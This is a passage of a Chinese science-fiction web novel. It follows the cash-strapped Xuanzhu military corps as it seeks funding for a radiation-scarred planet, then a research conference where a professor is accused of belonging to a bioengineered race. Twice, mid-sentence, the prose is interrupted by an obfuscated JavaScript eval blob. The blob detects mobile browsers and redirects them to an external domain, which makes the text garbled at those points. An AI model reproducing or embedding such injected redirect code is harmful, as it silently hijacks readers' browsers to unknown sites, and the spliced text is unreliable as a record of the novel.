然而,多年前那场大灭绝事件幕后实际上是代理人战争,各方势力的驻军死伤无数,核物质进入爆炸倒计时,原本的联合会驻地将官切断了支援军的坐标泊接点,让援救舰队只能依靠驾驶员的经验迫降,在没有人工磁场指引的情况下,支援军依旧完成三分之二的灾民转移,在护送最后的民众与资产时,幕后代理人命令驻军提前催化反应,致使支援部队葬送在这片土地上。 支援部队的主力军是原本的玄烛主战旅,因此牺牲了大批士兵,老将军也一同被灾变吞噬,没有了主心骨的主战旅削被减为独立团,再不复曾经的盛况。 原联合会驻地将官被判处战争罪,执行极刑,刻在教科书的耻辱篇上。谷神星至今还面临灾后重建、辐射残留未解决、地头蛇帮派盘根错节、驻地临时政府投靠外籍势力等问题,华夏共和国接手后根本没有兵团愿意来啃硬骨头,阙呼星想在这圈地盘简直难于上青天。 麻烦事一旦累积太多,阙呼星反而陷入诡异的松弛感,正所谓债多不压身:“团长让李稻青跟我一同驻地,我俩一起筹钱,暂批公告都下来了,有三年税收减免期,三年后达不到正式的税收标准就要丧失继续驻军的资格,我感觉光靠节流无法维持生计,所以打算先去问问阿因,他肯定有办法。” 两个穷鬼凑一块,家底更穷了。 阿什列卡有种家底被瞧不上的感觉,怒道:“你们就不会跟十夜老大要钱,跟我要钱?!” “团长操持玄烛已经很困难了,拿下谷神星还得操持黎明哨,以我们的实力驻地两颗星球太过勉强,前段时间还在考虑要不要让人建皮套公司,偷偷开辟一条民用小型机甲生产线填补军费欠款。”阙呼星盘腿坐下,“我们上至兵团下到驻地都很穷。” “至于为什么不问你要投资。”阙呼星抬首,深灰色的眼眸看向壕到发光的学弟,若有所思:“玄烛祖上阔过了,现在就是个大窟窿,连学院纵队的大部分人都填进去了,说句直白的,你不是华夏的人,能脱离就不把你拉下水了。” 阿什列卡毫不留情地指出:“十夜老大说的?” “我自己悟的,珍惜当下吧。”阙呼星诚恳道。 “你们都好得很,跟宴姐说的一模一样。”阿什列卡冷笑:“宁愿让那什么狗屁财团搅局也不好意思走我这条线,老子有钱,非常有钱!” 他本以为自己即使遗憾退出玄烛纵队回家继承家产,也能在家族势力和自身商业天赋的加持下,为待了二十余年的组织增添筹码。实际上他自以为看到的也正如此,毕业后进联合会下设的商贸协会混得风生水起,偷摸着给玄烛提供经济上的便捷渠道,在违反条例的法外狂徒与成为条例定制人之间反复横跳,因做事不留痕迹且迂回办事打擦边球的手段高明,从未被抓到过把柄。 现在却被告知是特地不愿意让他的脚沾湿,现任玄烛兵团长十夜少将并没有让学弟深入参与到危机中,在阿什列卡现在眼中,老大仅用一些看似有用,实际上九牛一毛的小事打发得他团团转,满足他未能并肩作战而无处发挥的愧疚感。 他思索半响,当阙呼星拆开第三袋小零食打算独享时一把抢过,狠狠地撕开包装:“师哥,你也别老被宴姐当枪使,她就是算准了你马上要去外域执行任务,一会被逼泄露局势,十夜老大想追究你也教训不到。” 阙呼星一张帅脸上故作惊讶:“没想到这么多年,我聪明了,你也不差,这些事确实是危月宴让我找机会无意间说漏嘴的,但就咱俩的关系,我没想引导你下水,所以刚才就直说了,里面浑水太多我也不清不楚的,你别被她忽悠得冲动投资。” 小小一间收容屋,容纳着沉黎战争军事学院的卧龙凤雏,这两人曾因双商达不到狐朋狗友中的平均线而屡次被坑,阿什列卡单纯,阙呼星直楞,再加上背后有世家做靠山,常被坑去做一些倒霉事,旁人只要一想到这对大聪明的奇闻异事,总是会感叹一句:啊,原来是他们,那不奇怪了。 “李稻青学长半年前升的大校,老大有意放你俩出去驻地用以平衡团内新老营的势力,直系下属有了独立的驻地,老营区捏在自己地盘上,双方才能相互制衡。谷神星作为李稻青的故土,他愿意排除万难来这并不奇怪。”阿什列卡毫不客气地将师哥的零食桶抱过放腿上,手指有节奏地敲在金属盖上,“而你,肯定不是无缘无故安住在旦加法音,这地方鸟不拉屎民不聊生,如果不是打这块地的主意,我无法给你找到别的借口。” 阙呼星道:“危月宴说她旗下的研究组有了发现,是一种能够改善辐射土壤的提纯物质,暂命名为’天虹一号’,只是迫于基础原料存量稀少,目前仅能供旦加法音使用,让我在这留意实地情况,做好地面战役的部署,一旦最终实验通过,我跟李稻青就要将教会帮派根除,以防实验品被人盯上。” “这只是第一步,谷神星还有另外十五座上城区,四十六座中城区及三百七十六座如同旦加法音一样的下城区,完成大量生产必须从其他外域行星采集原料,很大可能要牵扯到跨国界贸易,而后还有原料运输、半成品危险物质存储、安全保险剂的研制、大批量合成’天虹一号’、简化使用步骤申请相关知识产权、规模化投入使用、甚至包含为原住民提供教学等等,还有更多的环节需要耗费大量人力、物力和时间,玄烛兵团自身难以支撑全部代价。” “或许这颗星球能在几十年后能重现生机,重现谷神农业重仓奇迹,也许那时的经济效益远超乎其他兵团的想象,可现在站在起跑线上的是我们,我们连鞋子都买不起。” 阿什列卡迅速在脑海将其中风险与利润进行整理,阙呼星也索性不在隐瞒,又把老大出卖个彻底:“一直对玄烛感兴趣的鸣焰财团提出合作请求,我们刚收到暂批回复他们就派人来谈判,我怀疑是手续交接时联合会规划部有人向他们透露消息。前不久兵团发放了最后一批阵亡、伤残士兵津贴,实在没钱,十夜无难也不是经商的料,差点就考虑答应财团插手建设,几位大校间终于暂停吵架,改批斗团长了。” “自主权,是我机战六一营和李稻青的二八营在驻地立足根本,让财团插手纯属饮鸠止渴,解决了现阶段的缺金少银,以后处处受人制约,甚至会让外部势力渗入到兵团内部,我们绝不想因此给玄烛埋下祸根。” 阙呼星紧接着补充一句:“当然,上述’不是经商的料’并非出自于我,具体是谁我不说,但要告状别把我卖了。” 阿什列卡思索完毕,他白净的脸庞染上绯红,明显兴奋极了,对于其中利益的庞大欲望让他整个人精神亢奋,如果能将这颗星球的渠道吃下,他在协会的掌控力将连上数级台阶。 野心,澎湃,向上攀登,是从玄烛出来的人共同的标签,但金发青年却逐渐冷静下来,依照他们现在的整体情况,就算是有自己所在的群歌家的协助也不可能拥有完全自主运营的实力,如果说玄烛是实施者,群歌家是投资方,那他们目前无法撼动的权贵功勋阶级在一定程度上就是决策人,除非...... “你升至校级后阙家人没来找过?”阿什列卡压抑激动的情绪,问道。 阙呼星听此浓眉不由的皱起:“提他们作甚。” 当初陷害他的人中有一部分来自阙家,这让阙呼星一直无法释怀,仅仅为了所谓的不希望家族踏入风波,一损俱损,他敬爱的家人竟会对血亲下手,而在事发后,他没有了身份上的利用价值,长老会决定将他驱逐。 一夜之间阙呼星失去了所有,他将从父母那继承到的股份和店铺托付给十夜无难打理,用以组建六一营,远离权力聚光灯的他只能像啮齿类般窥探着远去星海航线的恋人,意气风发的挚友,后来居上的新人,看着家族在放逐他后继续扯着远征军世家的大旗,即使已经有四代人未曾加入远航。他的时间停滞在奔向未来前夕的深海中,灵魂被迫长大。 “宴姐不愿逼你,她甚至都没当你的面提过阙家。”阿什列卡怀揣些许不忍心,他知道危月宴猜中了,自己在了解局势后不得不劝说,“对你来说很不公平,但阙家的资源可以让驻地前期先运转起来,不是吗?” 阙呼星早就想过这条路是独属于他的最优选,长年累月的愤怒让他挂断了家族示好的通讯,装鸵鸟到今天。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563203|171409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远处修道院传来每日的祷告声,极优的基因让他能轻而易举地感知到外部活动,设置于墙壁间的循环管道有规律地发出嗡鸣,一夜未归的商贩拖着沉重帆布袋开关门,风俗从业者工作从隔壁笑嗔送走迟起的修士,窗外有居民自觉拖来垃圾车清理周边环境,他们嘴中用各种方言骂着自己是个残暴不讲理的怪胎......阙呼星仿佛什么都能掌控在意识里,现实中却连阻止日复一日烦人的颂词都做不到,他这些年落后太多了。 “利用,并非妥协,借着族人的愧疚和心虚,让自己的路更好走。”阙呼星自嘲:“我时常在想如果是淮因,他会怎么从中斡旋,可我不是他,也做不成他。” 阿什列卡不愿再逼,他得享受即将开始忙碌前的最后假期,或许除了阙氏一族还有别家愿意合作,于是站起身做了简单拉伸,从方才将的状态中脱离出,他懒散道:“不管师哥你最后做出什么决定,这个项目我也投了!” 阙呼星抿嘴望向窗外发愣,十夜的难处,危月宴的野心,李稻青的执着......兵团所有人的期待都在心间掠过,睦月神的银蓝旗帜遥遥可见,细碎的雪花飘洒在灰败土地,孩子们沿着前面同伴的脚印快乐跑过,紧接着飘来大人们的叹息声,已经到年末的神祭节了吗? 最终他神色锐利,有些事情再不做就来不及了。 - 白冠星·太古城 作为天虹星最早照射到的地区,打工人洛尔雅不得不在第一缕日光倾洒在这颗星球的财政司办公室前,极尽轻巧地把倒霉上司唤醒,生怕动作稍大就会让上司直接殉职在办公椅上。 奎杰眼皮耷拉,被压到麻木的胳膊尝试几次也没将打卡人脸识别键摁下,洛尔雅终究没能忍住,她担心在楼外静坐的来客们等不及攻打上门,伸手便将上司的脸怼在识别屏上。 “嘀——识别通过,财政司通道指令解锁,亲爱的奎杰·冈蒂亚先生,祝您有一个美好的工作日。” 奎杰觉得自己精神很好,只是意识困顿在尸体中,除了不怎么能动以外,他的大脑皮层疯狂运作,当默念十几秒后,门外走廊准时传来硬质作战靴的脚步声,他排除其他选项锁定了一个目标——史上最穷兵团玄烛又来人了。 他们能在又没钱又没资源的情况下招揽到高素质人才本身就被人称奇,人才们无论曾经有多清高,怀着雄心壮志进玄烛后,他们都拥有殊途同归的结局:为了占据每季度第一个获得财政审批的名额,这群穷鬼能卡着上班点在半分钟内爬上二十六层楼。 “奎杰先生,玄烛兵团机甲二八营李稻青上校来访,是否放行?” 财政办公辅助系统模拟出门外访客的三维景象,提醒眼神呆滞的司长尽快做出选择,秘书洛尔雅心怀愧疚,难得没有话多,静悄悄站办公桌旁等待他的指示。 奎杰心中暗自喊苦,手脚酸软有心装作动弹不得,恨不得立刻躺下,但他不想破坏连续加班四个月零七天的打工记录,还是选择让系统开门。 很快,那位被多数同僚誉为“玄烛最后一个老实人”的上校的三维景象消散,取代而之的是他本人跨过安全门的检测线,踏着的作战靴上镶嵌着合金护板,走起路来落地铿锵,因为今日代表兵团参与行政申请,他今天未穿着军部统一的常服,而是身披玄赤二色的兵团通勤服,款式借鉴古地球时期的文武袖,玄色半臂袍连同文袖扎于武装带,赤色内搭上绣有火焰纹缕,与武袖上雕有的玄烛图腾组成同套花纹,仿白银质感的机械外骨骼在内裳里时虚时凝。 安检探测灯在其身上停留数秒,来者抬手露出腕部暗青条码,颈后的装置受感应调整为休眠模式,外骨骼瞬间凝成实体,散发出冷硬的光泽,系统检测不到武器激活的信号,激光栅栏骤然消散。 “司长先生,您可能已经收到玄烛的军费报销申请,也许是因为工作忙碌,尚未进行查看,这些文件的影像稿于一周前由办公室发往您的数据后台,我们日夜等待,始终没有收到回复。”李稻青端坐,示意身后副官递交牛皮纸袋。 洛尔雅拆封前颠了颠袋子,抽出手感厚重的一摞放于奎杰面前,让面如土色的司长更加气若游丝,她拍拍纸摞示意上司回神。 奎杰预感事情不妙,他努力在大脑中搜索,却对李稻青提的申请毫无印象,还曾在午休时暗自怀疑自己是否漏算了穷鬼兵团的经费。 “您的下属赖尔主任两周前曾拒绝线上接收影像稿,退回理由是未提供纸质证明,根据律法规定,内网影像稿拥有与现实原件同等的效力,不过我们没有在此为难主任同志,早早地在丰收节的法定假日前,便将公章扫描件交于贵司。”面前的青年语气温和,奎杰却从其压弯的眉眼中品出一丝兴师问罪的味道。 “节后,主任同志声称您已经收到扫描件和清单,就一直没有下文,当我们再次询问时,很不巧,听说您不慎遗失了它们。”李稻青抬首见古典挂钟指向十点,偏头对副官低声吩咐几句,副官颔首退出房间。 他又转向奎杰道:“我方想重新办理报销申请,应他的要求,需要玄烛尉级以上的人员亲自递送材料,我方出于原件系兵团机密的考虑,为防范未然,兵团长决定由我来护送原件。而我个人,没按流程去主任同志那核算,反而先来此找您沟通,其中原因您应该明白吧?” 原来最大的难题并非“遗失”在后台的军费申请,玄烛就是上门讨要说法的,奎杰此时放下心来,经此事费用肯定嘛,肯定是要批下来的,只在于玄烛要借机要多少,兵□□来的人直接找到他这个源头,想来还是愿意让财政司内部事情关起门来解决。 他当着李稻青的面大骂是谁胆子这么大敢把锅往他身上甩,见上校正认真注视着他,眉头紧皱地让伫立在一旁的洛尔雅去把那位主任逮来问责。 奎杰翻阅审批材料:“太空跃迁耗能、机械医疗损耗、战亡士兵抚恤金、机甲营设备维护、深空设备制造、驻地遗民安置费......” 他啪地一下合上文件,愤然面对李稻青:“十夜团长想怎样,谷神星驻地百分之七十的耗资靠拨款,都给你们其他兵团还过不过了,隔壁司法系统也等着拨款,他们的星际游骑和巡回庭就差跟你们一样打上门来,这么着,大家把我拿去抵钱算了。” 李稻青一改方才盛气模样,摆出玄烛讨钱专用嘴脸,讪笑道:“都好商量。” 4. 新月当空 下午三时,南冕科学研究院在行政厅举行了“关于域外生命体遗传信息转录设想”座谈会的闭幕仪式,受邀成员大多来自各国生命科学领域,合作方请来世界通用频道的记者团对非涉密部分进行直播,官方平台发起“我眼中的未知生物”打卡抽奖活动,亦有高校组织学生前来观摩,由于参会人员数量繁多,人体温度让室内处于较为温暖的状态。 占地面积五百平米的大厅一改往日政务风格,使用螺旋型排列席位,正中间拱起的台面放置一张复合金属与核桃木镶制的演讲桌,台下桌椅一圈圈依次向下放置,形成中间稍高,周边环绕而下的矮锥体状,从顶部看宛如多毛环肋螺。 位于外圈的学生稍有躁动,内厅收音效果良好,精准捕捉到他们交头接耳的动静,半流状荧光导体一丝一丝的内嵌在合金墙板上极细的透明导管中,随声响频率忽明忽暗,同行老师连忙无声做出口型,大致意思是“回去收拾你们”。 演讲台中心伫立着一位麦色皮肤的高挑女士,她银白虹膜令其外观有些非人感,微卷的深蓝长发用墨绿丝巾束起,铁灰色衬衫领口微微敞开,几缕发丝散落在肩头,胸前别有象征科学院生命研究部门的白玉石蛋壳徽章,她双手捧起虚拟影像设备投射出的厚重书本,随即抛向空中,霎那间便化作上万页虚拟纸张飘散至在场每一位来宾的手中。 李稻青正坐在会场二层餐桌旁往与人小声商谈,猝不及防地接住一张迎面飘向他的纸,这页纸穿过餐厅玻璃时骤然化作细小颗粒,又重组成原来的模样,上面字迹锋锐,排列工整地写道:你的副官被我没收了,很好用,再借我两天。 句尾跟着副官的简笔画哭泣表情,还有台上人一张得意的笑脸。 李稻青无奈向下看去,捕捉到瑞茗桦满脸愁容地坐在自家老婆席位后,似乎正替她完成每月的素质汇报,年轻人好像察觉到有人在注视他,于是敏锐地与上司对上眼,在他还没来及表达什么的时候,李稻青拇指食指相互摩擦,对他做出加钱的手势,又悄悄把脑袋缩了回去。 “我夫人。”李稻青朝演讲台偏头示意。 “刚才你做出那个那个手势时,她冲你笑了一下。”对面的男子穿着讲究,他比出同款加钱手势,“说吧兄弟,藏了多少?” “八百六十二块两毛。”李稻青给双方续上茶水,“正好够茗桦那小子的加班费,还能剩下包烟钱。” 男子闻言顿时乐了:“哈,你这有零有整的,该不会都是现金吧?难怪请我在茶歇室见面。” “家属票,今天到期,不用浪费。”桌面摆放着关于同战区内能源开采意见的初稿,李稻青细致地在其上划出重点条款,并注明需要法制参谋办修改之处。 合作的另一方代表———湛渊独立团二五营营长卢巽,他随意签过审批栏,正用单手转汤匙,闲着的胳膊撑住下巴,滔滔不绝地讲述自家新兵集训的糗事,特别是从各学院的玄烛纵队挖过来的那几位,机甲实操基本功不扎实,恨不得每人都揣上几脚。 看似抱怨实则在冲李稻青炫耀,毕竟基于庞大的人口数量与太空实战军的严苛录取,绝大部分选择战斗类专业的学员终其一生也只能进行地面作战,或是进入舰队的战术部、后勤部等非太空内一线作战的岗位,综合素质能够驾驶机甲与深空舰的新人都是万里挑一的人才。 李稻青也不恼,有一搭没一搭地捧他,双方都是兵团领导者的心腹,显然此时已经结束公事,进入拉家常互套情报的阶段。 卢巽眼珠转动,冷不丁道:“齐轩告诉我,你马上要去外面驻地了,还没恭喜你呢。” 李稻青不动声色:“也是我运气好,放十年前哪有这么好的机会。” 卢巽打趣试探:“你们团长舍得放你走?” 这话问得十分巧妙,李稻青知道对方在套兵团内部势力的关系,“舍得放”可以视为老大与他关系产生间隙,“不舍得”则是老大为了削减团内顽固派而不得不放亲信出去把控新的星球,他长叹:“舍不舍得都一回事,反正我现在穷的要命,要不你的兵分我俩支?” 卢巽一听这句立刻再转话锋:“听说跟你一起的,是战区宁愿扣在手里也坚决不放走的那位?” 李稻青也乐得给好兄弟正名:“你说阙呼星啊,他是咱们战区,不,应该是整个华夏最拿得出手的深空作战员,指不定你刚才说的那几个小子就是看他教学视频长大的。” 湛渊独立团内早就流传过“那位”的传说,最年轻的超星级,新一代生物机甲的驾驶员数据原型,扑朔迷离的大洪水案,由共和会最高议庭直接审判......无论哪项单独拿出来都够众人津津乐道,但湛渊对此人的了解更多来源于淮为中校,他是自家兵团内部钦定的接班人,也是“那位”戴罪立功时期的监督官。 比如什么连吃同一家餐馆大半年不换口味、日常穿着永远工装三件套、空闲时开飞舰拉货赚外快等琐碎小事,也有言辞气人以至于被其他战区告到南冕办公室、深空作业时顺手打劫星盗团被指控强盗行为......淮为每每顶着苦大仇深的脸踏出行政区,湛渊的人便知晓“那位”又整活了。 卢巽有时候觉得淮为对其的怨念颇深,深到有点不自然的程度,但那是他亲哥的对象,又感觉小叔子有点情绪也正常。 见李稻青还在大吹特吹,他提出一直困扰的问题:“从纵队选拔上来的人总说,阙呼星以前当过湛渊纵队的队长,真的假的。” 这又是一个略微尴尬的事,李稻青瞬间回忆起青春版老大为了挖对门墙角布下的局,作为玄烛的成员,他、他老婆还有从小心思就多的淮因,起初都不大愿意把对门扛把子给偷回来,湛渊纵队好不容易培养的队长,挖走也太缺德了,但老大非说阙呼星是玄烛下个百年崛起计划中最后一块拼图,给他们下了死命令。 淮因被男色蒙蔽双眼,自家老婆又因为幼时的往事对他非常感兴趣,这两人连蒙带骗李稻青也上了偷大活人的贼船。 最后还真让他们得手了。 “嗯,他以前在学院时的确担任过一段时间湛渊的纵队队长,但后来纵队那打赌输给我们团长,他才愿赌服输转到玄烛。”实际情况更加离谱,李稻青只能捡正常的部分如是说道。 卢巽心痛:“到底谁给人弄丢的!当什么都别当赌狗,如果我们有他,肯定能在军部大比拼时横着走,小为也不会整天阴沉着脸出门收拾烂摊子。” 提起淮为,李稻青还有印象:“你们中校以前被阙呼星带过一段时间。那会刚开学,淮因申请跟弟弟合住一间宿舍,因为任务耽搁了几天,正巧阙呼星室友跑路,淮为就阴差阳错被录成他的室友了,淮因还在宿舍门口静坐等人谈判,想提条件换宿舍未遂,最后还是跟我住到毕业。” 闻此卢巽开始冒出一些奇怪想法,他猛灌入一口茶打消模糊的念头,干笑两声:“是吗?你们年轻时还真有意思。” 问答环节已近尾声,主持人正站在台上准备闭幕致辞,危月宴尚未下场,会场大门蓦然推开,一位戴有瓶底厚眼镜的年轻女士大步走进场内,身后跟着数名黑衣安保人员,那位女士推搡着面前座位的学者,固执地向台前去。 “哟,冲你夫人来的。”卢巽眯起眼睛。 李稻青面色微沉,他收起桌上文件同卢巽告别,旋即下楼。 会场陷入短暂的喧杂,众人私下纷纷讨论年轻女士的来意,螺旋状座次最内层依次落座着研究院核心成员,瑞茗桦身旁是研究院负责基因合成项目的 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危月宴以审视的姿态俯瞰众人,她无视老教授让其保持沉默的暗示,开口道:“我个人非常同情愈水座以及生化种族的遭遇,会后将以实验室的名义对愈水座进行物资捐赠,场外的新闻记者也会对你揭露的信息非常感兴趣,但这并不意味着随便谁都可以毫无顾忌地站在非相关的公开场合大谈不实信息,你应该为谣言付出一定的代价。” 女子闻言瑟缩了一下,很快便再次嘶吼:“谣言?哈哈,你们看,这是什么?” 她的身躯爆发出力量,竟摆脱安保的束缚,从衣襟里拉出一条沾满暗红污渍的布块,她双手高举,向四周的看客展示上面的字迹。 当下便有学者惊讶地捂嘴,卢巽早已跟下楼看热闹,此时有些不明所以,他听到身边人们悄声讨论,眉头皱紧。 “赛玛拉是生化人信仰的文明,或许曾经真有一位名叫赛玛拉的科研人员创造了生化人并使之繁衍形成族群,但大多数记载都表明他们来自大迁徙前的诸国联合实验室,起初用于开拓新星球时的地面基建,待工作完成后则被圈养起来。” “当大迁徙来临时,有一部分生化人跟随人类分支离开了主流队伍,分散在不同的航行队伍中,剩下的族人则跟随我们的先辈来到现在的星域,星系迁徙近三百年,生化种族与人类共赴患难,近三分之一的数量牺牲在旅途中,后来联合会划出愈水座的宜居行星供他们自治,那块布上的符号是他们的种族所延续的文字。” 卢巽插嘴:“愚民又是什么人?上面写的什么呀?” 学者答:“恐怕是在大迁徙中亡国的遗民,他们无处可去,也不愿意归顺别的国家,便向生化人族群提供科技支持换取居住地,原本由联合会做担保,两边相安无事,但数百年过去,遗民倒是反客为主,通过占领土地获取利益,向国外的领导者输送金钱和奴隶,达到在史书中篡改领地归属的目的,以至于今日,生化人族群被细分种群开启分批隔离制度、甚至可能再次被驯养。” “布块与其说是联名信,不如说是一份血书。”学者目光炯炯,显然这份稀有的文字载体将她扯进某种研究的狂热,她沉吟片刻:“我确信前半部分有规律的字节是他们的姓名,后半部分较为晦涩,我猜测在面对天灾时,遗民们想通过大迁徙前废弃的法案来恢复生化种族的工具属性,合法的让他们去前线做抵抗灾害的工作,这样便能不优先耗损自己人,同时又消耗异族人数。” 卢巽的心渐渐下沉,无论是在境内还是境外,共和国严禁任何具有本国国籍或是在本国长期工作的人类奴役一切具备主体资格的生命体,更何况是将之工具化,此事被公开曝光,国际联盟怕是要举行联合会议,共商处理方式了,各战区很快要进入戒备状态。 5. 西西弗斯与山 实际上,千年前有过一段胚胎技术泛滥的时期,长期压迫下改造人疯狂报复创造者,动乱以人类阵营胜利结束,但造成局面的帝国仅在灾后延续了五年左右便宣布灭亡,此后各国禁止明面上进行该项活动,直到诸国联合实验室重启胚胎计划。 卢巽第一回看见“新月统领者”的名号是刻录于星际游骑队的案件档案里,在人类未走出太阳系时,将生物广义上划分为六界,经由实验室创造的生化实验体并非自然产物,最早的生化实验体构造复杂,包含了植物与动物界的特征,可以视为能够进行光合作用产生能量,亦能够在体内消化食物的多细胞生物,同时还带有少许异星细菌的属性,当处于恶劣环境下,他们可以通过代谢活动催化出一种名为“TB27”的结构不稳定物质,“TB27”对于生化人来说是生命源泉,对于人类则是基础动能燃料。 生化人这一族群在最初具有很明显工具特点,擅长劳动、体质强健,能在高压环境中生存、摄取能量方便,还能转化可利用能源,被记载为天生的牛马。经过数百年的演化与宇宙辐射,某些特殊的个体在族群里出现,他们拥有异于寻常个体的基因特征,肉身力量、脑电波、经络集成器、甚至有的人造物种能够产生微末的精神力......仿佛无形之中有一双手为可悲的种族捏造出不同的进化选择。 大迁徙中,人类为了稳定这些基因特征,对变异的生化人进行研究与选育,一代代繁衍后,实验室得到一个透明的胚胎,大脑、内脏、血管的运行清晰可见,它永远无法长大,至死也只能维持蜷缩在维生装置里的模样,它就像蜂群首脑,天然的链接群体意识,通过族人在外界的行为汲取能量,再反馈给其选中的个体加强部分属性,即最早的新月统领者。 早期的统领者看起来人畜无害,而卢巽翻看的档案中却是更为怪异,文衍星远在主星域稍边缘处,是由联盟缔约国共同出资修建的为学者们提供静修服务的中型卫星,被共和国的公民称为文曲星,也是各帝国与联邦眼中的迷宫神殿。 约是70多年前,洛曼帝国首席生物学家克鲁斯·库白被发现溺死在公寓浴缸中,共和国国籍的妻子虹棠不知所踪,所有线索指向其瘫痪在床的6岁儿子海勒恩,正当探案的游骑对荒诞的可能性质疑时,他们在暗室找到海勒恩的培育记录,令所有人都没想到,克鲁斯的孩子竟然是人工培育的生化人。 游骑队派心理专家询问海勒恩,首日,专家得出这名年幼生化人极大可能患有昼夜分离症,一种典型的会在白天黑夜表现出两种人格的心理疾病,白日与正常儿童无异,午夜后则很大可能性情大变,做出极端的异常行为。文衍星因地理位置与自转速度的影响,通常昼长夜短,而克鲁斯遇害那周正逢罕见的极夜时期。 在极夜的最后一小时,海勒恩终于移开直勾勾盯着专家的视线,用通用语说出令人匪夷所思的话语。次日直至调查结束,专家便无法再次激发出其黑夜状态下的人格,海勒恩往后的日常行为恢复正常,仿佛什么都没发生一样,他不记得父母的去向,只是哭闹着要找母亲。 “当新月升起时,统领者将会眷顾它最忠诚的族人。” 这句话并不是首次出现在儿童笔录中,自新纪元有记载以来,众多午夜杀人案中便有相同的记录,甚至引发了好事者效仿作案,最早有记载的案件被破获后,游骑队查明凶手正是那时的新月统领者,在人类无法观测的地方,它已经演化出意识降临的功能,当夜幕来临时,将灵魂注入子民的躯体,完成它的愿望。 主星域没有实际意义上的“月亮”,仅有的几颗与月亮相似的小行星也备受争议,但宇宙中黑暗是永恒存在的。 这一代的统领者并没有被研究所披露,根据演化法则它的能力只增不减,人类联盟需要思考库白一家惨案是由哪一代统领者犯下的,或者说,如果女子所言不假,案子是否与危教授有联系? 不对,这人为什么笃定危教授是生化人?卢巽烦躁地挠头,这一族群无法通过自然繁殖,想要后代都是向由繁育中心申请人工培育,李稻青他老婆都怀孕四个月了,什么情况? “女士,如果你没有确切证据,我们无法容忍你污蔑一位正直的、健康的人类科学家是异族。”列克塔科严肃道,“一份来源不明的自书就想引起大家的猜忌?简直荒唐可笑。” 老教授示意助手与游骑队取得联络,他似乎非常气愤,不得体地挥手让安保人员将女子扣押,场内嗅到流量的记者此刻也不敢将实时画面传输设备掏出,都静悄悄捂在隐蔽的地方。 女子改口问出最后的问题:“危教授!生化人苦苦追寻从世界解脱的道路,您曾说过唯有进化再进化,那人类呢?口口声声是我们的创造者,却对我们的境遇不管不顾,愈水座的入侵者更是要将他们的信仰取代赛玛拉,踩在他族身上继续将自己的种族延续下去,难道人类未来的前进方向中包含着牺牲其他物种换取自身利益吗?” 危月宴沉静而立,她重新回到演讲台,用一种庄重到几乎虔诚的语气回答:“我知道社会上的某些群体总是乐于在媒体前用纪念被迫牺牲者的节目为自己造势,就像是前年的星际感恩日大肆宣扬生化种族的牺牲精神而排除了你们的人格属性,无疑是虚伪且丧失道德的作秀。人类在探索宇宙的过程中确实牺牲了其他物种,并不局限于生化种族,甚至是人类本身的利益才走到现在的位置,未来也还会存在这种情况,这是不可否认,也是每位既得利益者需要铭记于心的,我无意为侩子手开脱,但他们的所为确实令整个人类体系受益,我若站在旁观角度批判他们亦是满口仁义道德。” “八年之前,我九十岁生日是在愈水座巡回科普时度过的,生化种族得知后为我送上最高规格的礼遇,我铭记在心。仪式后,有一位长者私下请求我为你们重新命名,他希望生化种族在外界的第一印象摆脱以往”工具”的属性。” 她拖动悬浮字幕,在空中拼出两个字符:“我们初步商定为”英爻”,英代表勇敢与才能,爻寓意生生不息,非常符合族群的形象与愿望,不过很遗憾,这个决定被愈水座现任首长否决,当他的秘书团公示出”逊捷”这一名后,大部分族人开始觉得原来的名字就很不错,所以这件事并没有溅出水花,长者一脉被迫隔离在所谓的下等区,人人称怨。” “此刻,我向在座的各位讲述这番经历,也相信你们对愈水座的政治时局有所了解,想问诸君一道多选题,造成当地现状的究竟是哪些因素?特殊的生存环境、各族的相冲突古老文化、现任首脑团队、地方遗民势力、生化种族本身还是那个传说中的新月统领者。” 台下逐渐小声交头接耳讨论,外侧席位上一位戴有单片眼镜的学士仍保留疑问:“危教授,您说得很详细也很精彩,但为什么不否认对您新月统领者的指认?” 也有记者见氛围没有之前那么僵硬,本着职业精神开口:“您方才叙述的中心几乎完全围绕愈水座局势而论,却对新月统领者有些避而不谈,可以告知原因吗?” 危月宴正欲回答,列克塔科与一众同事从坐席上站起,老教授身处闹剧半小时,已然从最初的愤怒中脱离,他鹰视环顾整场,强硬道:“本就是莫须有的事,现场的有些同志竟然当了真,让我误以为,南冕科学研究院的声誉还不及一个疯子的信口雌黄!” 发问的人愣住,他们只顾着追根到底,却忘记现在是南冕科学研究院的主场,被质问的是研究院的核心成员,堪比在别人家砸场子。 另有同事不满:“这季度轮值的是哪个旅?到现在还不见踪影,任由分不清好赖的人质疑东道主的女同志,我明天就写投诉信。” 基因编辑A组实验室的小主管转身跟领导请示:“我给我对象打个电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563205|171409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,让她带人过来,看看都闹成什么样了。”他一向单方面与危月宴不对付,此时也站了出来。 会场再次陷入沉默,危月宴绕到演讲台前,衬衫下微微隆起的腹部向人们无声传达她身为人类的信息,她对女子道:“生化种族想要改变处境,便是要搬走压在面前的大山,而不是寄希望于飘渺的神话人物,当你们中有人选择抗争,其他族人请不要妥协于大山开出的折中条件,愚公移山尚能成功。” 姗姗来迟的轮值旅将女子带走,主持人趁机暖场,不尴不尬的完成了闭幕仪式,显然大家对今天发生的事意犹未尽,散会后聚集在一起,行政司方让所有人签署了保密协议,派舰队在三小时内送离外域参会人员。 